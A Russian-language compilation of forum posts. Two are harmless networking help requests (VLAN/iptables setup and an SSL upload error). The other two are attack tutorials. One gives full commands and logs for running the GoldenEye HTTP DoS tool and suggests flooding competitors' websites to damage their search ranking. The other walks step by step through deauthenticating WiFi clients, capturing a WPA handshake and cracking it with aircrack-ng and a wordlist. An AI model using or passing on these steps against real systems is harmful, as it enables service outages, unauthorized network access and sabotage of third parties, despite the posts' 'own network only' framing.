Linux + Сети

Добрый день! В отчаянии. Два дня бьюсь с настройкой VLAN. Имеется шлюз на базе ClearOs 5.2 (CentOs).

Знаю что чайник, но в задачу впился зубами и хочу ее выполнить.

На системнике висит 2 сетевухи с двумя интерфейсами:

eth0 external со статическим ip от провайдера.

eth1 - выход на локальную сеть.

Ситуация такая - есть удаленный объект с видеорегистратором. Провайдер настроил свою сеть и дал ID влана 1726.

На базе физического устройства eth0 которое смотрит на провайдера создаю VLAN интерфейс с настройками в etc/sysconfig/networking-scripts/ifcfg-eth0.1726:

DEVICE=eth0.1726
TYPE="VLAN"
ONBOOT="yes"
BOOTPROTO="static"
IPADDR="10.18.16.12"
NETMASK="255.255.255.0"
VLAN="yes"

Поднимаю интерфейс:

ifup eth0.1726

ip 10.18.16.12 пингуется.

ifconfig говорит что все нормально, интерфейс поднят:

eth0 Link encap:Ethernet HWaddr 00:11:95:F4:ADB
inet addr:172.16.7.206 Bcast:172.16.7.255 Mask:255.255.255.0
inet6 addr: fe80::211:95ff:fef4:addb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2278776 errors:0 dropped:0 overruns:0 frame:0
TX packets:1468014 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2428856847 (2.2 GiB) TX bytes:180862879 (172.4 MiB)
Interrupt:185 Base address:0x6000

eth0.1726 Link encap:Ethernet HWaddr 00:11:95:F4:ADB
inet addr:10.18.16.12 Bcast:10.18.16.255 Mask:255.255.255.0
inet6 addr: fe80::211:95ff:fef4:addb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:5162 errors:0 dropped:0 overruns:0 frame:0
TX packets:29 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:276220 (269.7 KiB) TX bytes:2217 (2.1 KiB)

eth1 Link encap:Ethernet HWaddr 00:21:91:8E71
inet addr:192.168.0.5 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::221:91ff:fe8e:d7d1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1471502 errors:0 dropped:0 overruns:0 frame:0
TX packets:1910607 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:188508914 (179.7 MiB) TX bytes:2198595405 (2.0 GiB)
Interrupt:193 Base address:0x8000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:181422 errors:0 dropped:0 overruns:0 frame:0
TX packets:181422 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:80800436 (77.0 MiB) TX bytes:80800436 (77.0 MiB)

Провайдер от себя доступ настроил и сказал пробовать пинговать 10.18.16.14 (wi-fi антенна на здании где установлена система видеонаблюдения), однако пинг не идет. Провайдер тоже меня не видит. Прочитал про похожий случай и что в настройках модуля 802.1q желательно отключить rp фильтр, поставил значение 0.

Так же читал что нужно прописывать правила маршрутизации в ip tables для интерфейса. Прописывать пробовал, все безрезультатно.

iptables -A INPUT -i eth0.1726 -s 10.18.16.12/24 -p icmp --icmp-type echo-request -j ACCEPT
iptables -A OUTPUT -o eth0.1726 -d 10.18.16.12/24 -p icmp --icmp-type echo-request -j ACCEPT

Не получалось.

Потом пробовал

iptables -A FORWARD -i eth0.1726 -j ACCEPT iptables -A FORWARD -o eth0.1726 -j ACCEPT

10.18.16.14 не пингуется.

Возможно правила прописал криво. Так же возникли сомнения что они начинают действовать после перезагрузки firewall.

Перезагружал firewall

/etc/init.d/firewall restart

Но настройки от этого только сбрасываются на прежние. iptable-save помогает только тем - чтобы сохранить настройки в файл.

Текущие правила: # iptables -L -n -v

Chain INPUT (policy DROP 273 packets, 88330 bytes)
pkts bytes target prot opt in out source destination
0 0 DROP all -- * * 0.0.0.0/0 0.0.0.0/0 state INVALID
0 0 REJECT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp flags:0x12/0x12 state NEW reject-with tcp-reset
10 8566 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp flags:!0x17/0x02 state NEW
0 0 DROP all -- eth0 * 127.0.0.0/8 0.0.0.0/0
0 0 DROP all -- eth0 * 169.254.0.0/16 0.0.0.0/0
4287 1647K ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- pptp+ * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- tun+ * 0.0.0.0/0 0.0.0.0/0
3345 322K ACCEPT all -- eth1 * 0.0.0.0/0 0.0.0.0/0
3 87 ACCEPT icmp -- eth0 * 0.0.0.0/0 0.0.0.0/0 icmp type 0
0 0 ACCEPT icmp -- eth0 * 0.0.0.0/0 0.0.0.0/0 icmp type 3
0 0 ACCEPT icmp -- eth0 * 0.0.0.0/0 0.0.0.0/0 icmp type 8
0 0 ACCEPT icmp -- eth0 * 0.0.0.0/0 0.0.0.0/0 icmp type 11
0 0 ACCEPT udp -- eth0 * 0.0.0.0/0 0.0.0.0/0 udp spt:67 dpt:68
0 0 ACCEPT tcp -- eth0 * 0.0.0.0/0 0.0.0.0/0 tcp spt:67 dpt:68
0 0 ACCEPT tcp -- * * 0.0.0.0/0 172.16.7.206 tcp dpt:1875
259 31442 ACCEPT udp -- eth0 * 0.0.0.0/0 0.0.0.0/0 udp dpts:1024:65535 state RELATED,ESTABLISHED
1353 1153K ACCEPT tcp -- eth0 * 0.0.0.0/0 0.0.0.0/0 tcp dpts:1024:65535 state RELATED,ESTABLISHED
Chain FORWARD (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
102K 87M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
4803 313K ACCEPT all -- eth1 * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- pptp+ * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- tun+ * 0.0.0.0/0 0.0.0.0/0
Chain OUTPUT (policy DROP 5 packets, 559 bytes)
pkts bytes target prot opt in out source destination
4297 1655K ACCEPT all -- * lo 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- * pptp+ 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- * tun+ 0.0.0.0/0 0.0.0.0/0
3511 1544K ACCEPT all -- * eth1 0.0.0.0/0 0.0.0.0/0
22 638 ACCEPT icmp -- * eth0 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT udp -- * eth0 0.0.0.0/0 0.0.0.0/0 udp spt:68 dpt:67
0 0 ACCEPT tcp -- * eth0 0.0.0.0/0 0.0.0.0/0 tcp spt:68 dpt:67
0 0 ACCEPT tcp -- * eth0 172.16.7.206 0.0.0.0/0 tcp spt:1875
1727 206K ACCEPT all -- * eth0 0.0.0.0/0 0.0.0.0/0
Chain drop-lan (0 references)
pkts bytes target prot opt in out source destination
0 0 DROP all -- * * 0.0.0.0/0 0.0.0.0/0

Перерыл уже не только русскоязычные, но и англоязычные форумы. У всех все взлетает с первых, или почти первых попыток судя по всему. А тут беда прям...

Может кто-то что-то подскажет? Пусть даже глупою ошибку допустил, но буду безмерно благодарен.

Всем привет!

Возникла проблема следующего характера:

При загрузке файлов на таких ресурсах как vk и gmail происходит ошибка и файл перестает загружаться. В консоли браузера пишет 2 ошибки друг за другом

1)ERR_SSL_BAD_RECORD_MAC_ALERT

2)ERR_CONNECTION_RESET

Данная проблема наблюдается с файлами в размере свыше ~60kb(вывел экперементальным путем).

Предвосхищая вопросы сразу отмечу

1)В гугле искал, ничего путного не нашел.

2)У меня дуал бут (линь+винда) эта ошибка и там и там.

3)Имеется две сетевых карты, вай-фай и lan ошибка присутствует и там и там.

4)Если подключиться не к домашнему вайфаю, а к вайфаю розданному с телефона все будет в ажуре и работает замечательно.

5)Я подумал что проблема кроется в домашнем роутере. Подключился с ноута, а не со своего ПК. Но на нем подобной проблемы не наблюдается.

6)Да, я удалял все расшиерния из браузера, устанавливал драйвера сетевые, пробовал в разных браузерах и тд.

Вероятнее всего проблема где-то в связке между пк и роутером, но в чем, я не могу понять. Вообщем HELP!

P.S.

Комменты для минусов присутствуют

В предыдущей статье уже говорилось об инструменте

DoS, который может сильно нагрузить серверы HTTP, чтобы парализовать их работу из-за исчерпания пула ресурсов. GoldenEye — это ещё один, со своими особенностями, который может положить сервер за 30 секунд, в зависимости от того, насколько велик пул его памяти. Конечно, он не работает на защищённых серверах и серверах за

правильно настроенными WAF, IDS. Но это отличный инструмент для тестирования

вашего веб-сервера на повышенную нагрузку. А на основании полученных результатов

можно изменить правила iptables/файерволов для увеличения устойчивости и

сопротивляемости к негативным факторам.

Подробности об инструменте GoldenEye:

Название утилиты: GoldenEye

Автор: Jan Seidl

Веб-сайт: http://wroot.org/

Из поста автора GoldenEye:

1. Этот инструмент предназначен только для целей исследования и любое другое

вредоносное его использование запрещено.

2. GoldenEye — это приложение на питоне для ТОЛЬКО ЦЕЛЕЙ ТЕСТИРОВАНИЯ

БЕЗОПАСНОСТИ!

3. GoldenEye это инструмент тестирования HTTP DoS.

4. Эксплуатируемый вектор атаки: HTTP Keep Alive + NoCache

Типы DoS или DDoS атак

Давайте пройдёмся по самой базовой информации об атаках DoS или. DDoS. Обычно

выделяют три вида DoS и DDoS атак:

1. DoS и DDoS атаки уровня приложений

2. DoS и DDoS атаки уровня протокола

3. DoS и DDoS атаки насыщения полосы пропускания

DoS и DDoS атаки уровня приложений

DoS и DDoS атаки уровня приложений — это атаки, которые нацелены на Windows,

Apache, OpenBSD или другое программное обеспечение для выполнения атаки и краха

сервера.

DoS и DDoS атаки уровня протокола

DoS и DDoS атаки уровня протокола — это атаки на уровне протокола. Эта категория

включает Synflood, Ping of Death и другие.

DoS и DDoS атаки насыщения полосы пропускания

Этот тип атак включает ICMP-флуд, UDP-флуд и другие типы флуда, осуществляемые

через поддельные пакеты.

Слова DoS и DDoS близки по значению. Когда атака ведётся с одной машины, обычно

говорят о DoS атаке. При большом количестве атакующих из ботнета (или группы)

говорят о DDoS атаке. Об этих атаках доступно много информации, но не важна, какого

типа эта атака, т. к. они все одинаково вредны для сервера/сети.

Загрузка GoldenEye

Сторонние программы, установленные не из репозитория, я собираю в каталоге ~/opt.

Если у вас нет каталога для сторонних программ, то создайте его и перейдите туда:

1| mkdir opt

2| cd opt

Следующая большая команда создаст каталог, загрузит туда последнюю версию

GoldenEye, распакует архив и сразу запустит GoldenEye (покажет справку по

программе):

1| mkdir GoldenEye && cd GoldenEye && wget

https://github.com/jseidl/GoldenEye/archive/master.zip && unzip master.zip && cd

GoldenEye-master/ && ./goldeneye.py

Если вам хочется всё сделать самому — постепенно, то продолжаем. Для начала

создаём каталог GoldenEye, переходим туда и скачиваем архив с программой:

1| root@WebWare-Kali:~/opt# mkdir GoldenEye

2| root@WebWare-Kali:~/opt# cd GoldenEye

3| root@WebWare-Kali:~/opt/GoldenEye# wget

https://github.com/jseidl/GoldenEye/archive/master.zip

После скачивания распаковываем файл архива master.zip.

1| unzip master.zip

Теперь у нас появился каталог GoldenEye-master, переходим туда и проверяем его

содержимое:

1| ls

2| cd GoldenEye-master/

3| ls

Запуск GoldenEye – досим веб-сайт

Запуск очень прост, делается это так:

1| ./goldeneye.py

Программа показывает нам свою справку:

Необходимо осведомлять пользователей о расписании тестирования и возможных

перебоях в работе. Поскольку часто результатом симуляции атаки является остановка

работы.

Ну и все другие предупреждения: вы не должны тестировать (симулировать атаку)

других без их разрешения. Поскольку в случае причинения вреда, вы можете быть

привлечены к ответственности в соответствии с законодательством.

Данная информация размещена в образовательных целях. Для тестирования своих

серверов, для анализа качества их настройки и разработки мер противодействия

атакам.

Запуск слегка различается от используемой вами ОС:

1| root@WebWare-Kali:~/opt/GoldenEye/GoldenEye-master# ./goldeneye.py

http://www.goldeneyetestsite.com/

(или)

1| sudo ./goldeneye.py http://www.goldeneyetestsite.com/

(или)

1| python goldeneye.py http://www.goldeneyetestsite.com/

В зависимости от того, где вы сохранили файлы, подредактируйте ваш путь и команду.

Далее тесты GoldenEye:

Следить за состоянием сервера я буду командой top:

Т.е. сервер находится в состоянии простоя, процесс полностью свободен, свободной

оперативной памяти доступно 350 мегабайт.

Атака

1| ./goldeneye.py http://192.168.1.37/info.php

Результат

Можно посмотреть по скриншоту, процессор по-прежнему практически бездействует,

но количество свободной памяти резко сократилось, увеличилось количество спящих процессов.

Тем не менее, сервер не удалось полностью положить при атаке в один поток (хотя

вообще-то, такая задача и не ставилась).

Анализ атаки GoldenEye

Посмотрим лог сервера:

1| cat /var/log/apache2/access.log | grep -E '192.168.1.55'

Я использую grep -E '192.168.1.55', чтобы отфильтровать подключения только с

машины, с которой велась атака.

Видим там примерно такое:

1| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?vySSDx=tG1rmfX4HbYXBm&CKVuvV=JLoK&nHc8x=0x5YKQtvHs0HWS68

HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3)

AppleWebKit/535.6 (KHTML, like Gecko) Version/6.0.5 Safari/535.17"

2| 192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET

/info.php?dC1FyXpw=hB6Oh&rjcf74A=YVA&YUtUXuDo2s=2pLY7nlq&SjyqoF=wUIx8Aq&tXkr

fJRw=LsgED HTTP/1.1" 200 69504 "http://www.baidu.com/k1IkNXv" "Mozilla/5.0

(Macintosh; Intel Mac OS X 11_0_4) AppleWebKit/536.12 (KHTML, like Gecko)

Chrome/10.0.623.89 Safari/536.26"

3| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?0Nk7p=kSf&1eVF8PNy=UpDtxpDmJE2Fbx6&lPS=53T0AUI6Xu&5EbHY=scv1yBq8O

6Y&JJthAkQqqk=HUEQBD5ONbAMxVlWHxai HTTP/1.1" 200 69504 "-" "Mozilla/5.0

(Windows NT 5.1; WOW64) Gecko/20021304 Firefox/12.0"

4| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?SAQMIx5Pl=VWGEFj3q8N0

HTTP/1.1" 200 69504

"http://www.google.com/gCqMk2Q05?DxQe=67gW4HUd3iTKCu2qWSJ&amp...

Gh6q2sVlyHBdK&bl185B=anwKamnu2xK&RpI=HA0wNexUytc&uOqLV=6TNbGepqbnr&uu2fj

tL63=u5lnA701na4cYYH0yN&TOY066XT=3WJQhmtXRyCo46HnbXY1" "Mozilla/5.0 (Linux

x86_64; X11) Gecko/20010905 Firefox/17.0"

5| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?jA5Kw=fwtSMfaPQ8XtCaK&Y0fBbDfSXd=8Jm5hqt&xPC=1qwBHvMDy7gl

HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) Gecko/20011709

Firefox/23.0"

6| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?t2U0aYjxm=q21n4BARB1&qxI1=cTw&XjGPpG=W3AAWvebbW HTTP/1.1" 200

69504 "http://www.baidu.com/bQnoS7ULAY" "Mozilla/5.0 (Windows NT.6.2; Win64; x64)

AppleWebKit/536.10 (KHTML, like Gecko) Chrome/18.0.1844.44 Safari/537.21"

7| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?nkIkop=6pivICjNb6&U3Y=dDlbGnW3feTEXCm&aH2JLMl=sGmkpeSLnTtXahs7agi&

8htjBss=DFuXcUiJ5G5Fu7c HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (compatible; MSIE 10.0;

Macintosh; .NET CLR 3.0.8867; Intel Mac OS X 11_6_2)"

8| 192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET

/info.php?p6P23Hj=IcVgaSIUoVTanmFIDan&WWml82r3D=TCY8rta5YrwVsLJmrM HTTP/1.1"

200 69504

"http://www.baidu.com/fWaBwllK?aNP85MesWv=VhL6v32qtwyj&6C...

YXmLk2w&Uy3wv=4pvNH8y&Jvirs=RJ4hKfRa&HyIYt8gtP=CHjm8OJaOP2djoQS&rm7bH=rukJ

4726B14D3XOxDwJ6&QBkOD3=33qpPxVM3ih76MaSgnT&s7gO=3WrX3Vd&Vsh=A13d"

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_1) AppleWebKit/536.10 (KHTML, like Gecko)

Chrome/15.0.1172.45 Safari/535.15"

9| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?so64O=2GhoHQaFy&DSmxwEWk=tYxV&y1C7mM=kQbuxco5oJfLPocGLl&kbItk4Rl

j=LjVhrLgelmtLYDuldfF HTTP/1.1" 200 69504

"http://192.168.1.37/uxNqvi6EnN?cAyrBjvKc=OsSGuqs&rrlLD=2..." "Mozilla/5.0

(Windows; U; MSIE 10.0; Windows NT 5.1; .NET CLR 2.2.16303; Win64; x64)"

10| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?EXRbe03wp=fEBV5exjikcr8oNbEkmN&vpg8wYXv=DMGpYP1RMBUglSjbv4g&55prJ

=fY78WvDU3vW7GaoW4etN&JWEFmlYFU=yFyBEk7 HTTP/1.1" 200 69504 "-" "Mozilla/5.0

(Windows; U; MSIE 8.0; Linux x86_64; .NET CLR 1.0.1395; X11)"

11| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?7xIRdP0=8mjyacN&kEd2MwYtJ=bWhJvAH3A1H&xWe7vp6nH=faGl3PGJ4xAf&dSn

j5CW=wOBRfkLbMrEWdmMFvov&xWPL3sYb=WN0yYPXu HTTP/1.1" 200 69504 "-"

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_0) Gecko/20062612 Firefox/18.0"

12| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?lVn80y605=IDRbDmoiDyNBu

HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_4) Gecko/20052008

Firefox/18.0"

13| 192.168.1.55 - - [18/Jun/2015:17:06:52 +0700] "GET

/info.php?mAthtfI=c4QdAopYyQGAsJAl0XUH HTTP/1.1" 200 69504

"http://www.yandex.com/jbOJRnhpii?fW4YmYLq=6A6f8qyxLRk6" "Mozilla/5.0 (Linux i386;

X11) AppleWebKit/536.27 (KHTML, like Gecko) Version/4.1.4 Safari/537.21"

14| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?1nwS7r=g6qpYcfOre

HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Linux i386; X11) Gecko/20053002 Firefox/15.0"

15| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?00iHfl2=CGhueehx3DqR32D&MnPMIcqiTN=HcIR&GFgFaO=IJL HTTP/1.1" 200

69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3) AppleWebKit/535.29 (KHTML,

like Gecko) Chrome/19.0.1233.51 Safari/536.18"

16| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?Ml1k=DFVW0F7 HTTP/1.1"

200 69504 "-" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/537.1 (KHTML, like Gecko)

Chrome/8.0.1320.86 Safari/535.21"

17| 192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET

/info.php?khUn=xnRp0gXjlF&bl8TpeXEF5=28W&wPkB=cnOPTgwOpPGC&12cnFT6b=XNDSX

FPdtraDsR&0FqigAn62=Kl4Y7pj2e7lj0nGoGN HTTP/1.1" 200 69504 "-" "Mozilla/5.0

(Windows NT.6.2; Win64; x64) AppleWebKit/537.3 (KHTML, like Gecko) Version/5.1.2

Safari/536.32"

Одного взгляда на логи достаточно, что каждый запрос GET содержит различные

строки, различные пользовательские агенты и различных реферов, среди которых Bing,

Baidu, Yandex и другие рандомные поисковые системы.

Так что происходит, когда ваш веб-сервер встречается с этой атакой? Он анализирует

входящий трафик, проверяет запрашиваемые URL, адреса источников и поле Referrer и пропускает их с кодом 200 OK. Почему? Потому что каждый браузер был различным.

Инструмент был создан остроумно так, чтобы любой сервер мог подумать, что это

различные пользователи, пытающие зайти с одного IP (может быть IP прокси или

большой организации?) с различными браузерами (Firefox, Chrome, MSIE, Safari и т. д.),

различными операционными системами (Mac, Linux, Windows и т.д.) и даже с

различными реферами. Да, возможно запрашиваемый URL был неправильным, но

нормальные веб-сервера всё равно пропустят его, перенаправят на страницу ошибки в

то время как соединение будет оставаться открытым (например, Apache worker/socket).

Стандартный веб-сервер обычно позволяет X число одновременных пользователей с

одного IP и с большим количеством соединений/используемых сокетов, этот тип атаке

приводит к тяжёлому давлению на сервер и последующие пользователи получают

ошибку (HTTP 503 или наподобии). Следовательно, атакующий с несколькими

рандомными proxy/VPN может быстро истощить ресурсы сервера. Он даже может

замедлить атаки на один IP для избежания начального выявления:

1| root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py

http://www.goldeneyetestsite.com/ -w 10 -s 10 -m random

Вышеприведённая команда использует:

-w = 10 одновременные рабочие

-s = 10 одновременных соединений

-m = рандом, смесь GET и POST

Совершенный DoS!

Интересное наблюдение по Google Analytics и GoldenEye

Я попробовал это в живую, чтобы просто посмотреть, как поведёт себя реальный веб-

сервер. Интересно, оказывается что Google Analytics воспринимает этот трафик как

реальный и добавляет данные от флуда в статистику (хотя он и идёт с одного IP, но

различные рефереры и браузеры убеждают Google в том, что это отдельные

пользователи). Можно придумать ещё пару способов эксплуатировать это:

 Можно повышать свой рейтинг в Google, т. к. она будет воспринимать это как

легитимный трафик.

 Если Google будет наказывать за это, то тогда можно зафлудить веб-сайты

конкурентов для понижения их ранжирования в Google.

Эта палка о двух концах.

Блокирование/защита от атаки GoldenEye

Следующие предложения хорошо сработают, когда вы используете Apache:

1. Понижение соединений на один IP (обычно их 300 на IP для Apache)

2. Редактирование порога соединений на IP

3. Отключить настройки KeepAlive и нижний Connection Timeout (по умолчанию это

300)

4. Если вы хоститесь на общем сервере, обратитесь к сисадминам. Если они не

могут защитить от этой простой атаки, то просто переезжайте к хостинг

компании получше.

5. Используйте Web application Firewall (WAF).

6. Использование белых листов для входящих запросов — и эта атака не окажет

эффекта на ваш сервер.

7. NGINX и Node.js вроде бы лучше справляются с атаками подобного рода.

Заключение

GoldenEye выглядит как расширенная (или схожая на) HTTP Flooder программа. Обе

работают похожим образом, но NoCache и KeepAlive от GoldenEye делают большую

разницу. Также она использует интересный способ перемешивания браузеров,

операционных систем и рефереров, что может обмануть файервол.

В общем, это хороший инструмент для тестирования на нагрузку своего собственного

веб-сайта (с разрешения вашей хостинг компании), вашего корпоративного веб-сайта и

любых веб-приложений, которые позволяют входящие GET или POST запросы.

Используйте её для обновления ваших правил файервола. WAF и благодаря

этому избежите будущих атак.

Источник: Telegram канал "IT-Специалист" t.me/to_sysadmins

Здравствуйте.

Сразу хочу оговориться, что данный пост имеет рекламный мотив. Нет, я не впариваю Вам вейпы или ножи-кредитки. Я размещаю полезную информацию для IT-Специалистов в своем Telegram канале и буду рад поделится своим опытом с Вами. Вот ссылка на канал https://telegram.me/to_sysadmins заходите, читайте, используйте в работе.

_____________________________________________________________________________________________________________________________

Сегодня речь пойдет о пентесте беспроводных сетей с помощью дистрибутива Kali Linux. В нем уже предустановлено достаточно утилит для тестирования "дыр" в безопасности сетей. В этом посте мы рассмотрим

перехват handshake и брут пароля.

Первым этапом будет настройка wifi адаптера. Для того, чтобы убедится,

Что Ваш адаптер поддерживает инъекции мы откроем терминал и введем команду:

airmon-ng

Терминал выведет список ваших беспроводных карт, поддерживающих

инъекции.Вероятнее всего Ваш адаптер будет называться "wlan0"

Дальше мы вводим в терминал команду:

airmon-ng start wlan0

airmon переведет адаптер в режим монитора. Дальше мы соберем информацию

о нашей сети. Для этого в пишем:

airodump-ng wlan0mon

Обратите внимание, что "wlan0mon" это название моего адаптера, убедитесь, что ввели

правильное название, возможно у Вас будет просто mon0. Так что перепроверьте.

Если все сделано верно, то на экране вы увидите вписок доступных Вам сетей,

Находим Вашу сеть и вводим команду, заменяя коментарии в скобках на свои данные

airodump-ng -c (канал) --bssid (bssid) -w /root/Desktop/ (интерфейс монитора)

Теперь Вы будете видеть и отслеживать только выбранную вами (Вашу) сеть.

оставляем airodump работать, а сами ускорим процесс захвата handshake.

Открываем второе окно терминала и пишем

aireplay-ng -0 2 -a (bssid маршрутизатора) -c (Номер клиентской станции берем в окне с работающим airodump-ng) wlan0mon

Этой командной мы принудительно отключаем клиента от нашей точки. Когда клиентское устройство

Повторно подключится к сети, мы успешно перехватим handshake.

Переходим на первое окно с работающим airodump-ng и убеждаемся в этом.

Теперь у нас на руках имеется пароль от WiFi сети, лежит он на рабочем столе в файле с разрешением *.cap

Но он пока зашифрован.Нам нужен словарь (в Kali Linux словарь уже есть и лежит

в папке /usr/share/wordlist/rockyou.txt) пароль нужно подбирать.

Для этого пишем в терминале:

aircrack-ng -a2 -b (bssid маршрутизатора) -w (путь к словарю) /Root/Desktop/*. cap

Скорость перебора зависит от мощности вашего компьютера. Если ваш компьютер слабоват

для такого рода действий, то в интернете есть как платные, так и бесплатные сервисы

расшифровки рукопожатий.

Если пароль расшифровать не удалось, то поздравляю Ваша сеть хорошо

защищена, в противном случае Вам необходимо сменить пароль на более сложный

И обязательно отключить протокол WPS в роутере.